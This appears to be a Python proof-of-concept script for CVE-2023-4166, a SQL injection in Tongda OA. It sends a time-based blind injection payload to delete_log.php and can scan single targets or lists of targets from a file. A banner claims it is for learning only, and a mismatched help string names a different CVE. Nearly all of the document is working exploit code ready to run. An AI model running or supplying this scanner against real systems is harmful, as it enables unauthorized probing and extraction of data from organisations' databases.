4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2023-4166.py PY
import requests
import argparse
requests.packages.urllib3.disable_warnings()

# 通达 OA_CVE-2023-4166sql 注入漏
def Banner():
    banner = """                                           
   _____  __      __  ______            ___     ___    ___    ____             _  _     __     __      __  
  / ____| \ \    / / |  ____|          |__ \   / _ \  |__ \  |___ \           | || |   /_ |   / /     / /  
 | |       \ \  / /  | |__     ______     ) | | | | |    ) |   __) |  ______  | || |_   | |  / /_    / /_  
 | |        \ \/ /   |  __|   |______|   / /  | | | |   / /   |__ <  |______| |__   _|  | | | '_ \  | '_ \ 
 | |____     \  /    | |____            / /_  | |_| |  / /_   ___) |             | |    | | | (_) | | (_) |
  \_____|     \/     |______|          |____|  \___/  |____| |____/              |_|    |_|  \___/   \___/ 
                                                                                                           
                                                                          tag:  通达 OA_CVE-2023-4166sql 注入漏洞 POC                                       
                                                                    @version: 1.0.0   @author by ghhycsec                                           
                                 
              仅限学习使用,请勿用于非法测试!                                                                                               
        """
    print(banner)


def poc(url):
    payload = "/general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1 "
    if "http" not in url:
        url = "http://" + url
    fullpath = url + payload
    header = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101Firefox/116.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zhHK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate",
        "Connection": "close",
        "Upgrade-Insecure-Requests": "1"
    }
    try:
        response = requests.get(fullpath, headers=header,verify=False,timeout=15)
        if response.elapsed.seconds > 13:
            print("[+]%s 存在 CVE-2023-4166 sql 注入" % (url))
        else:
            print("[-]%s 不存在 CVE-2023-4166 sql 注入" % (url))
    except Exception as e:
        print("[-]%s 不存在 CVE-2023-4166 sql 注入" % (url))


def main():
    Banner()
    parser = argparse.ArgumentParser(description="CVE-2023-2648 检测工具 脚本使用phpinfo文件上传")
    parser.add_argument("-u", "--target", help="单个目标URL")
    parser.add_argument("-f", "--file", help="包含多个目标URL的文件")
    args = parser.parse_args()

    if args.target:
        target_urls = [args.target]
    elif args.file:
        with open(args.file, "r") as f:
            target_urls = f.read().splitlines()
    else:
        print("请使用 -u 或 -f 指定目标")
        return

    for url in target_urls:
        poc(url)


if __name__ == "__main__":
    main()